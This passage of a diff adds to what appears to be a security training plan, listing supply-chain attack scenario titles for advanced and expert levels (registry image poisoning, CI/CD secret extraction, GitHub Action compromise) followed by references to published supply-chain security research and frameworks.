- Container registry image poisoning
|
|
307
|
+
- CI/CD pipeline secret extraction via log manipulation
|
|
308
|
+
|
|
309
|
+
**EXPERT:**
|
|
310
|
+
- Third-party GitHub Action compromise simulation
|
|
311
|
+
- Multi-hop supply chain: package → CI/CD → production deployment
|
|
312
|
+
- Build system backdoor persistence
|
|
313
|
+
|
|
314
|
+
---
|
|
315
|
+
|
|
316
|
+
## References
|
|
317
|
+
|
|
318
|
+
- Research paper: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
|
|
319
|
+
- GitHub Actions security: https://securitylab.github.com/research/github-actions-preventing-pwn-requests/
|
|
320
|
+
- SLSA framework: https://slsa.dev
|
|
321
|
+
- MITRE ATT&CK T1195: https://attack.mitre.org/techniques/T1195/
|
|
322
|
+
- Snyk supply chain guide: https://snyk.io/blog/software-supply-chain-security/
|